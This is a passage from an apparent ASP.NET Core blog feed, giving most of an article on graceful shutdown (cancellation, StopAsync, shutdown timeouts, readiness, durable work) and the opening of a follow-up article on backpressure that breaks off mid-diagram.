    CancellationToken stoppingToken)
{
    try
    {
        while (!stoppingToken.IsCancellationRequested)
        {
            await ProcessNextAsync(stoppingToken);
        }
    }
    catch (OperationCanceledException)
        when (stoppingToken.IsCancellationRequested)
    {
        // Expected during shutdown.
    }
}</code></code></pre><p>Do not fill production error logs with alarming stack traces for a shutdown behavior the application intentionally requested.</p><p>At the same time, do not swallow unrelated exceptions.</p><p>Shutdown cancellation and genuine failures are different operational signals.</p><h2>Stop Taking New Background Work</h2><p>Imagine a worker:</p><pre><code><code>Read message
Process message
Read message
Process message
Read message
...</code></code></pre><p>Shutdown begins immediately after processing completes.</p><p>Should the worker fetch another message?</p><p>Usually, no.</p><p>A good shutdown sequence is:</p><pre><code><code>Shutdown requested
       &#8595;
Stop fetching new jobs
       &#8595;
Handle current job safely
       &#8595;
Exit worker</code></code></pre><p>Compare that with:</p><pre><code><code>Shutdown requested
       &#8595;
Fetch another job
       &#8595;
Start expensive work
       &#8595;
Shutdown deadline expires
       &#8595;
Process terminated</code></code></pre><p>The second design creates avoidable risk.</p><h2>But Should Current Work Finish or Be Cancelled?</h2><p>This depends on the operation.</p><p>Suppose a worker is generating a thumbnail.</p><p>Cancelling it halfway through may be harmless.</p><p>The job can be retried later.</p><p>Now suppose the worker is processing:</p><pre><code><code>Charge credit card</code></code></pre><p>Simply abandoning the operation can create uncertainty.</p><p>Did the external provider receive the request?</p><p>Did it charge the card?</p><p>Did our application save the result?</p><p>This is why graceful shutdown cannot guarantee correctness by itself.</p><p>Business-critical work also needs durable design.</p><h2>Graceful Shutdown Is Not a Durability Mechanism</h2><p>This distinction is fundamental.</p><p>Graceful shutdown helps during <strong>expected</strong> termination.</p><p>It cannot protect you from:</p><pre><code><code>Power loss
Kernel crash
Out-of-memory termination
Hardware failure
Process crash
kill -9
Infrastructure failure</code></code></pre><p>Microsoft&#8217;s hosted-service guidance explicitly notes that <code>StopAsync</code> might not be called if the process shuts down unexpectedly. </p><p>Therefore, never design:</p><pre><code><code>Important data exists only in memory
       &#8595;
We'll save it during StopAsync</code></code></pre><p>for data you cannot afford to lose.</p><p>Shutdown hooks are cleanup opportunities.</p><p>They are not transactional storage.</p><h2>Durable Work Needs Durable State</h2><p>Suppose an HTTP request accepts an expensive video-processing job.</p><p>This design is fragile:</p><pre><code><code>Request
   &#8595;
Add job to in-memory List&lt;Job&gt;
   &#8595;
Return 202 Accepted</code></code></pre><p>If the process crashes:</p><pre><code><code>List&lt;Job&gt; disappears</code></code></pre><p>A better design for important work might use:</p><pre><code><code>Request
   &#8595;
Persist job / durable broker
   &#8595;
Return 202 Accepted
   &#8595;
Worker processes job</code></code></pre><p>Now application shutdown does not determine whether the job exists.</p><p>The next worker instance can continue.</p><p>This connects directly to our previous articles on messaging, background processing, idempotency, and resilient distributed systems.</p><h2>Queue Draining Needs a Clear Meaning</h2><p>&#8220;Drain the queue before shutdown&#8221; sounds ideal.</p><p>But consider a queue containing 20,000 jobs.</p><p>Each takes one second.</p><p>A single worker would need hours.</p><p>Waiting for the entire queue is clearly inappropriate.</p><p>Instead, draining usually means something more controlled:</p><pre><code><code>Stop accepting/fetching new work
Finish limited in-flight work
Return unstarted durable work to the system
Exit</code></code></pre><p>For an in-memory queue, the decision is harder because anything left behind disappears with the process.</p><p>That is another reason durable queues matter for work that must survive restarts.</p><h2>In-Flight Work Needs Ownership Rules</h2><p>Distributed workers create another problem.</p><p>Suppose:</p><pre><code><code>Worker A receives Job 123
Worker A begins processing
Worker A shuts down
Worker B receives Job 123</code></code></pre><p>Could both complete the job?</p><p>Potentially.</p><p>A production architecture therefore needs concepts such as:</p><pre><code><code>Acknowledgement
Visibility timeout
Lease
Idempotency
Deduplication
Transactional state</code></code></pre><p>Graceful shutdown reduces the chance of interruption.</p><p>Idempotent processing reduces the damage when interruption still happens.</p><p>These patterns complement each other.</p><h2>The Shutdown Timeout Is a Budget</h2><p>Graceful shutdown cannot continue forever.</p><p>The .NET host has a shutdown timeout that governs how long graceful stopping is allowed before cancellation tells shutdown work to stop waiting gracefully. <code>HostOptions</code> exposes <code>ShutdownTimeout</code> for this purpose. </p><p>It can be configured:</p><pre><code><code>builder.Services.Configure&lt;HostOptions&gt;(options =&gt;
{
    options.ShutdownTimeout =
        TimeSpan.FromSeconds(45);
});</code></code></pre><p>Do not interpret this as:</p><p><strong>Our application now has permission to take 45 seconds to stop.</strong></p><p>Think of it as:</p><p><strong>45 seconds is the maximum shutdown budget available to the host&#8217;s graceful-stop process.</strong></p><p>Microsoft&#8217;s current hosted-service guidance documents a default 30-second cancellation timeout for graceful shutdown in the Generic Host scenario it describes. </p><p>Deployment infrastructure may impose its own deadline as well, so the effective budget must be understood end to end.</p><h2>More Shutdown Time Is Not Automatically Better</h2><p>If a service routinely needs three minutes to stop, increasing the timeout to five minutes may hide a design problem.</p><p>Ask why.</p><p>Perhaps:</p><pre><code><code>Worker ignores cancellation
Database query cannot finish promptly
Queue keeps accepting work
External API call has no timeout
Large buffer is flushed only at shutdown
Background task was never designed to stop</code></code></pre><p>Increasing the timeout can be appropriate.</p><p>But it should follow understanding, not replace it.</p><p>A healthy service should usually stop predictably.</p><h2>StopAsync Is for Deliberate Shutdown Work</h2><p>If you need additional cleanup, override <code>StopAsync</code>.</p><p>For example:</p><pre><code><code>public sealed class MetricsWorker : BackgroundService
{
    protected override async Task ExecuteAsync(
        CancellationToken stoppingToken)
    {
        while (!stoppingToken.IsCancellationRequested)
        {
            await CollectAsync(stoppingToken);
        }
    }

    public override async Task StopAsync(
        CancellationToken cancellationToken)
    {
        await FlushFinalMetricsAsync(cancellationToken);

        await base.StopAsync(cancellationToken);
    }
}</code></code></pre><p>When overriding <code>BackgroundService.StartAsync</code> or <code>StopAsync</code>, Microsoft&#8217;s Worker Service guidance says to call and await the base implementation so the service starts and shuts down properly. </p><p>Keep shutdown work bounded.</p><p>Do not turn <code>StopAsync</code> into a second application runtime.</p><h2>Cleanup Is Different from Business Completion</h2><p>Good shutdown cleanup might include:</p><pre><code><code>Stop timers
Stop polling
Flush a small telemetry buffer
Close producers
Dispose custom resources
Release leases
Publish worker status</code></code></pre><p>Riskier shutdown logic includes:</p><pre><code><code>Process every remaining customer order
Perform large data migrations
Upload gigabytes of pending files
Retry failed integrations indefinitely
Save the application's only copy of critical state</code></code></pre><p>If correctness depends on a complex action successfully completing during shutdown, the architecture is fragile.</p><h2>HTTP Requests Need Graceful Treatment Too</h2><p>Background workers are only half the story.</p><p>An ASP.NET Core instance may have active HTTP requests when termination begins.</p><p>Conceptually, a graceful deployment should move toward:</p><pre><code><code>Stop routing new traffic
        &#8595;
Allow in-flight requests time to finish
        &#8595;
Stop application</code></code></pre><p>This is commonly called <strong>connection draining</strong> or <strong>request draining</strong>.</p><p>The exact mechanics depend on where the application runs.</p><p>A reverse proxy, load balancer, container orchestrator, and ASP.NET Core host may all participate.</p><p>The key principle is universal:</p><p><strong>Do not deliberately send fresh traffic to an instance that is already leaving service.</strong></p><h2>Readiness and Liveness Are Different Questions</h2><p>Health checks become important here.</p><p>A <strong>liveness</strong> signal roughly answers:</p><p><strong>Is this process alive enough that restarting it is unnecessary?</strong></p><p>A <strong>readiness</strong> signal answers:</p><p><strong>Should this instance currently receive traffic?</strong></p><p>Those are not the same question.</p><p>During shutdown, an instance can be:</p><pre><code><code>Alive: Yes
Ready for new traffic: No</code></code></pre><p>That state is useful.</p><p>The instance can remain alive long enough to finish existing work while being removed from the pool for new requests.</p><h2>The Ideal Deployment Sequence</h2><p>A simplified rolling-deployment sequence looks like:</p><pre><code><code>1. New instance starts
2. New instance initializes
3. New instance becomes ready
4. Load balancer begins routing traffic to it
5. Old instance becomes unready
6. New traffic stops going to old instance
7. Existing work drains
8. Shutdown signal propagates
9. Background workers stop
10. Old process exits</code></code></pre><p>The exact ordering can vary by hosting environment.</p><p>But the principle is consistent.</p><p><strong>Arrival and departure should both be controlled transitions.</strong></p><h2>Startup Is Also Part of the Lifecycle</h2><p>Graceful shutdown gets most of the attention, but startup mistakes can also cause outages.</p><p>Suppose a container starts and immediately reports itself ready.</p><p>Then it spends 20 seconds:</p><pre><code><code>Loading configuration
Connecting to dependencies
Warming critical cache
Initializing local state</code></code></pre><p>Traffic arrives during those 20 seconds.</p><p>Requests fail.</p><p>The process is alive, but the application is not ready.</p><p>A mature lifecycle design therefore considers:</p><pre><code><code>Starting
Ready
Draining
Stopping
Stopped</code></code></pre><p>rather than simply:</p><pre><code><code>Running
Not running</code></code></pre><h2>Keep StartAsync Short</h2><p><code>IHostedService.StartAsync</code> is part of host startup.</p><p>Microsoft&#8217;s hosted-service documentation advises keeping it short because hosted services participate in application startup, and long initialization can delay the rest of the application. </p><p>Avoid:</p><pre><code><code>public async Task StartAsync(
    CancellationToken cancellationToken)
{
    await ProcessTenMillionRecordsAsync();
}</code></code></pre><p>If long-running processing belongs in the service, it generally belongs in <code>ExecuteAsync</code>, with readiness and dependencies designed appropriately.</p><p>Startup should establish the conditions necessary for safe operation.</p><p>It should not become an uncontrolled batch job.</p><h2>Request Cancellation Matters During Normal Operation Too</h2><p>ASP.NET Core exposes:</p><pre><code><code>HttpContext.RequestAborted</code></code></pre><p>for HTTP request cancellation.</p><p>For example:</p><pre><code><code>app.MapGet(
    "/reports/{id}",
    async (
        int id,
        ReportService reports,
        CancellationToken cancellationToken) =&gt;
    {
        return await reports.GetAsync(
            id,
            cancellationToken);
    });</code></code></pre><p>In Minimal APIs, a <code>CancellationToken</code> parameter can be bound to request cancellation.</p><p>That matters when clients disconnect, timeouts occur, or infrastructure terminates a request.</p><p>The same design principle applies:</p><p><strong>Stop doing work when the result is no longer useful, unless business correctness requires that work to continue independently.</strong></p><p>If the latter is true, the operation probably belongs in a durable asynchronous workflow rather than being tied entirely to the HTTP request lifetime.</p><h2>Transactions Need Careful Boundaries</h2><p>Suppose shutdown occurs during:</p><pre><code><code>await using var transaction =
    await db.Database.BeginTransactionAsync(
        cancellationToken);

order.Status = OrderStatus.Confirmed;

await db.SaveChangesAsync(cancellationToken);

await transaction.CommitAsync(cancellationToken);</code></code></pre><p>Cancellation before commit may allow the transaction to roll back.</p><p>That is often preferable to leaving a partially completed local operation.</p><p>But distributed workflows are more complicated.</p><p>If you already called an external payment provider before the local transaction was cancelled, rolling back your database does not reverse the external side effect.</p><p>This is where patterns such as:</p><pre><code><code>Idempotency
Outbox messaging
Saga compensation
Durable workflow state</code></code></pre><p>become important.</p><p>Graceful shutdown cannot turn distributed operations into atomic transactions.</p><h2>Do Not Start Fire-and-Forget Work from Requests</h2><p>Consider:</p><pre><code><code>app.MapPost("/orders", async order =&gt;
{
    _ = SendConfirmationAsync(order);

    return Results.Ok();
});</code></code></pre><p>The HTTP response returns.</p><p>The task continues in the process.</p><p>Then deployment begins.</p><p>The process exits.</p><p>Did the email send?</p><p>Maybe.</p><p>This is one reason uncontrolled fire-and-forget work is dangerous in server applications.</p><p>If work matters after the request ends, give it an explicit owner.</p><p>For example:</p><pre><code><code>Request
   &#8595;
Persist work
   &#8595;
Background worker
   &#8595;
Execute
   &#8595;
Record completion</code></code></pre><p>Now lifecycle behavior is visible and manageable.</p><h2>Timers Need Shutdown Awareness</h2><p>Periodic tasks can create subtle problems.</p><p>Imagine:</p><pre><code><code>Every 60 seconds:
Generate invoices</code></code></pre><p>Shutdown begins at second 59.</p><p>The timer fires.</p><p>A large invoice batch starts while the process is already supposed to be leaving.</p><p>Periodic services should respect shutdown state before starting another cycle.</p><p>A <code>PeriodicTimer</code> pattern makes this easier:</p><pre><code><code>protected override async Task ExecuteAsync(
    CancellationToken stoppingToken)
{
    using var timer =
        new PeriodicTimer(
            TimeSpan.FromMinutes(1));

    while (await timer.WaitForNextTickAsync(
        stoppingToken))
    {
        await RunCycleAsync(stoppingToken);
    }
}</code></code></pre><p>When shutdown cancellation arrives, the loop can end instead of deliberately starting another round of work.</p><h2>Shutdown Should Be Idempotent Too</h2><p>Cleanup code should tolerate being called in a partially cleaned-up state.</p><p>Suppose shutdown logic performs:</p><pre><code><code>Stop consumer
Flush buffer
Release lease
Close connection</code></code></pre><p>What happens if:</p><pre><code><code>Consumer already stopped?
Buffer already empty?
Lease already expired?
Connection already closed?</code></code></pre><p>Cleanup should generally remain safe.</p><p>Shutdown paths receive less day-to-day testing than normal request paths, which makes simple, repeatable behavior especially valuable.</p><h2>Logging During Shutdown</h2><p>Shutdown needs observability.</p><p>Useful lifecycle logs include:</p><pre><code><code>Shutdown requested
Readiness disabled
Active requests remaining
Background workers stopping
Current job completed
Queue consumer stopped
Resources disposed
Shutdown completed
Shutdown deadline exceeded</code></code></pre><p>Include timestamps and durations.</p><p>For example:</p><pre><code><code>_logger.LogInformation(
    "Worker shutdown started. ActiveJob={JobId}",
    activeJobId);</code></code></pre><p>Then:</p><pre><code><code>_logger.LogInformation(
    "Worker shutdown completed in {ElapsedMs} ms",
    elapsed.TotalMilliseconds);</code></code></pre><p>When a deployment intermittently loses work, these logs can reveal whether shutdown was requested, whether the application reacted, and whether it ran out of time.</p><h2>Measure Shutdown, Do Not Merely Log It</h2><p>Useful metrics include:</p><pre><code><code>Shutdown duration
In-flight requests at shutdown
Active background jobs
Jobs interrupted
Jobs safely returned to queue
Shutdown timeout count
Outstanding messages
Lease release failures</code></code></pre><p>Over time, you may discover:</p><pre><code><code>Normal shutdown: 4 seconds
p95 shutdown: 11 seconds
Worst shutdown: 29 seconds</code></code></pre><p>That gives you something concrete to compare with infrastructure termination deadlines.</p><p>Lifecycle behavior should be observable just like request latency and error rates.</p><h2>Connect Shutdown with Backpressure</h2><p>Our previous article covered <strong><a href="https://www.asptoday.com/p/designing-backpressure-in-aspnet">Designing Backpressure in ASP.NET Core</a></strong>.</p><p>Backpressure and graceful shutdown solve different problems, but they reinforce each other.</p><p>Backpressure asks:</p><p><strong>How do we avoid accepting more work than we can process?</strong></p><p>Graceful shutdown asks:</p><p><strong>How do we safely stop processing when this instance must disappear?</strong></p><p>Imagine an instance with an unbounded queue of 100,000 jobs.</p><p>A shutdown request arrives.</p><p>Gracefully draining that backlog may be impossible.</p><p>Now imagine a bounded workload:</p><pre><code><code>20 active operations
100 queued jobs maximum</code></code></pre><p>The amount of local work is controlled.</p><p>Shutdown becomes far more predictable.</p><p>Bounded systems are easier to stop.</p><h2>The Dangerous Combination</h2><p>A particularly fragile application has all of these:</p><pre><code><code>Unbounded queues
Fire-and-forget tasks
No cancellation propagation
Long external calls
No request draining
No durable job state
Huge shutdown cleanup
No lifecycle metrics</code></code></pre><p>It may run beautifully during quiet development tests.</p><p>Production deployments reveal the weaknesses.</p><p>The goal is not to add a shutdown callback to this architecture.</p><p>The goal is to design work ownership and lifecycle boundaries clearly enough that shutdown becomes routine.</p><h2>A Practical Worker Design</h2><p>Consider an order-export worker.</p><p>We want it to:</p><ul><li><p>Stop fetching new exports when shutdown begins<br></p></li><li><p>Allow the current export a reasonable opportunity to finish<br></p></li><li><p>Avoid losing unstarted jobs<br></p></li><li><p>Remain safe if the process dies unexpectedly<br></p></li></ul><p>A production architecture might be:</p><pre><code><code>Durable Export Queue
        &#8595;
Worker claims job
        &#8595;
Persist processing state
        &#8595;
Generate export
        &#8595;
Persist result
        &#8595;
Acknowledge job</code></code></pre><p>During shutdown:</p><pre><code><code>Shutdown signal
      &#8595;
Stop claiming jobs
      &#8595;
Finish or cancel current job
      &#8595;
If incomplete, leave/release durable job
      &#8595;
Exit</code></code></pre><p>Now correctness does not depend entirely on the process surviving.</p><p>That is the key shift.</p><h2>A Practical HTTP Design</h2><p>Now consider an order API.</p><p>During a rolling deployment:</p><pre><code><code>Load Balancer
      &#8595;
Instance A
Instance B
Instance C</code></code></pre><p>Instance B is selected for termination.</p><p>The ideal behavior is:</p><pre><code><code>Instance B marked not ready
       &#8595;
New requests routed to A and C
       &#8595;
B finishes in-flight requests
       &#8595;
Hosted services stop
       &#8595;
B exits</code></code></pre><p>Meanwhile, a new instance becomes ready and joins the pool.</p><p>From the user&#8217;s perspective, the deployment may be invisible.</p><p>That is what we mean by deploying without dropping work.</p><h2>Common Graceful Shutdown Mistakes</h2><p>Several mistakes appear repeatedly.</p><p><strong>Ignoring cancellation tokens.</strong> The application receives a shutdown signal, but lower-level operations never see it.</p><p><strong>Using </strong><code>StopAsync</code><strong> as emergency storage.</strong> Critical state should already be durable.</p><p><strong>Accepting new work while draining.</strong> The finish line keeps moving.</p><p><strong>Setting an enormous timeout.</strong> This can hide services that do not know how to stop.</p><p><strong>Assuming </strong><code>StopAsync</code><strong> always runs.</strong> Crashes and forced termination exist.</p><p><strong>Fire-and-forget request work.</strong> Nobody owns the task after the request completes.</p><p><strong>Confusing liveness with readiness.</strong> A process can be alive while intentionally refusing new traffic.</p><p><strong>Draining an entire durable backlog locally.</strong> The next healthy instance can process durable queued work.</p><p><strong>Testing startup but never shutdown.</strong> Half the lifecycle remains unverified.</p><h2>Test Shutdown Deliberately</h2><p>Do not wait for production deployments to test this.</p><p>Create a long-running request.</p><p>Start a background job.</p><p>Begin a database operation.</p><p>Fill a queue.</p><p>Then terminate the application gracefully.</p><p>Observe:</p><pre><code><code>Did new work stop?

Did existing requests finish?

Did workers receive cancellation?

Did jobs survive restart?

Did database state remain valid?

Were duplicate operations created?

Did the process exit within its budget?

Did the replacement instance become ready first?</code></code></pre><p>Then test harder scenarios.</p><p>Kill the process without graceful shutdown.</p><p>Restart infrastructure.</p><p>Interrupt network connections.</p><p>Terminate workers halfway through jobs.</p><p>Graceful shutdown testing tells you whether normal termination works.</p><p>Crash testing tells you whether correctness depends too heavily on normal termination.</p><p>You need both.</p><h2>The Goal Is Predictable Departure</h2><p>We often describe highly available systems in terms of adding instances.</p><p>But removing instances safely is just as important.</p><p>A production service should know how to enter:</p><pre><code><code>Ready</code></code></pre><p>and how to leave it.</p><p>It should know when to stop accepting work.</p><p>It should know which operations can be cancelled.</p><p>It should know which must survive the process.</p><p>It should know how long it may take.</p><p>And it should tell operators what is happening while it shuts down.</p><p>A process that cannot leave safely is not truly disposable infrastructure.</p><h2>How This Fits Our ASP.NET Core Journey</h2><p>Our recent articles have focused increasingly on behavior under real production conditions.</p><p><strong>.NET Aspire</strong> gave us a model for orchestrating and observing distributed application resources.</p><p><strong>Configuration at Scale</strong> showed how operational settings can evolve safely.</p><p><strong>Designing Backpressure</strong> addressed what happens when demand exceeds processing capacity.</p><p>Graceful shutdown completes another part of that picture.</p><p>Production applications must handle both pressure and change.</p><p>Traffic spikes.</p><p>Dependencies slow down.</p><p>Instances scale out.</p><p>Instances scale in.</p><p>New versions deploy.</p><p>Old versions disappear.</p><p>The application lifecycle is therefore not a startup detail. It is part of the architecture.</p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore <strong>Memory Management in ASP.NET Core: GC, Allocations, LOH, and Object Pooling</strong>.</p><p>Graceful shutdown helps an application release work safely when the process is intentionally ending. Memory management asks a different question:</p><p><strong>How do we keep the process healthy while it continues running?</strong></p><p>We&#8217;ll look at garbage collection, allocation pressure, the Large Object Heap, temporary objects, pooling, memory diagnostics, and the coding patterns that can turn a seemingly fast ASP.NET Core application into a high-latency, memory-hungry service under real production load.</p><h2>Closing Thoughts</h2><p>Graceful shutdown is not about making an application impossible to interrupt.</p><p>That is unrealistic.</p><p>It is about making <strong>expected interruption predictable</strong>.</p><p>When shutdown begins, an ASP.NET Core application should understand the transition. It should stop creating unnecessary new work, propagate cancellation, allow appropriate in-flight operations to complete, preserve important work durably, release resources, and exit within a known time budget.</p><p><code>IHostedService</code>, <code>BackgroundService</code>, <code>IHostApplicationLifetime</code>, cancellation tokens, server shutdown behavior, and <code>HostOptions.ShutdownTimeout</code> give us the framework-level building blocks. </p><p>But the framework cannot decide whether an unfinished payment should be retried, whether a queued message may be processed twice, whether an export can be abandoned, or whether a job must survive a crash.</p><p>Those decisions belong to the architecture.</p><p>The strongest production design therefore assumes two things at the same time:</p><p><strong>The application will usually get a chance to shut down gracefully.</strong></p><p>And:</p><p><strong>One day, it will not.</strong></p><p>Design for both, and routine deployments become far less dramatic.</p><h2>Subscribe Now</h2><p>Enjoying the series? Subscribe to <strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, advanced architecture deep dives, and production-ready .NET strategies. Join our Substack Chat to discuss deployment patterns, application lifecycle design, resilience, and the real-world challenges of running modern ASP.NET Core systems. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Designing Backpressure in ASP.NET Core: Handling Overload Without Crashing Your System]]></title><description><![CDATA[Protect ASP.NET Core apps from overload with bounded queues, concurrency limits, and load shedding. #ASPToday #aspnetcore #dotnet #resilience]]></description><link>https://www.asptoday.com/p/designing-backpressure-in-aspnet</link><guid isPermaLink="false">https://www.asptoday.com/p/designing-backpressure-in-aspnet</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 01 Sep 2026 15:02:38 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!T8pJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A healthy <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> application can become unstable without a single bug in its business logic. All it takes is more work arriving than the system can process. Requests accumulate, queues grow, memory usage rises, database connections disappear, latency explodes, and eventually the entire application may fail. Backpressure prevents that chain reaction. Instead of accepting unlimited work, the system deliberately slows producers, limits concurrency, bounds queues, rejects excess requests, or sheds less important work.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!T8pJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!T8pJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!T8pJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!T8pJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!T8pJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!T8pJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2622755,&quot;alt&quot;:&quot;Engineers control dam spillways under heavy pressure, symbolizing backpressure and load management. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/213656095?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Engineers control dam spillways under heavy pressure, symbolizing backpressure and load management. " title="Engineers control dam spillways under heavy pressure, symbolizing backpressure and load management. " srcset="https://substackcdn.com/image/fetch/$s_!T8pJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!T8pJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!T8pJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!T8pJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0d5c968-d016-42de-86cf-4d670af5c8bb_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we'll build a practical backpressure strategy using ASP.NET Core rate limiting, bounded <code>Channel&lt;T&gt;</code> queues, concurrency controls, cancellation, and graceful degradation, while looking closely at the trade-offs that determine whether an overloaded application bends or breaks. </p><h2>What Is Backpressure?</h2><p>Imagine a busy restaurant kitchen.</p><p>Orders arrive every few seconds.</p><p>When the kitchen can prepare 40 meals every 10 minutes and customers order 30, everything works well.</p><p>Now 200 orders arrive.</p><p>The kitchen cannot magically cook five times faster.</p><p>If the restaurant keeps accepting unlimited orders, tickets begin covering the walls. Customers wait longer. Staff make mistakes. Ingredients run out. Eventually, even orders that could have been completed quickly become trapped behind hundreds of others.</p><p>Software behaves surprisingly similarly.</p><p>Suppose an ASP.NET Core service can reliably process:</p><pre><code><code>500 requests per second</code></code></pre><p>but receives:</p><pre><code><code>2,000 requests per second</code></code></pre><p>We have two rates:</p><pre><code><code>Arrival rate:      2,000/sec
Processing rate:     500/sec</code></code></pre><p>The missing 1,500 requests do not disappear.</p><p>Unless the system deliberately controls them, they wait somewhere.</p><p>That is where the trouble begins.</p><p><strong>Backpressure is how a system communicates that it cannot safely accept work as quickly as work is arriving.</strong></p><h2>Overload Is Different from Failure</h2><p>This distinction is important.</p><p>A failed database is unavailable.</p><p>An overloaded database may still be perfectly healthy. It simply has more work than it can process efficiently.</p><p>Likewise, an ASP.NET Core application can be running normally while becoming progressively overloaded.</p><p>At first:</p><pre><code><code>CPU: 45%
Latency: 80 ms
Queue: 10</code></code></pre><p>Then:</p><pre><code><code>CPU: 80%
Latency: 450 ms
Queue: 2,000</code></code></pre><p>Eventually:</p><pre><code><code>CPU: 100%
Latency: 12 seconds
Queue: 50,000
Memory: critical</code></code></pre><p>By the time health checks begin failing, the real problem may have started minutes earlier.</p><p>Backpressure attempts to stop the system from reaching that final state.</p><h2>Why Unlimited Queues Are Dangerous</h2><p>Queues are useful because they separate producers from consumers.</p><p>Suppose an API receives image-processing jobs.</p><p>Instead of making users wait while every image is processed, the endpoint adds jobs to a queue.</p><pre><code><code>HTTP Request
     &#8595;
Job Queue
     &#8595;
Background Worker
     &#8595;
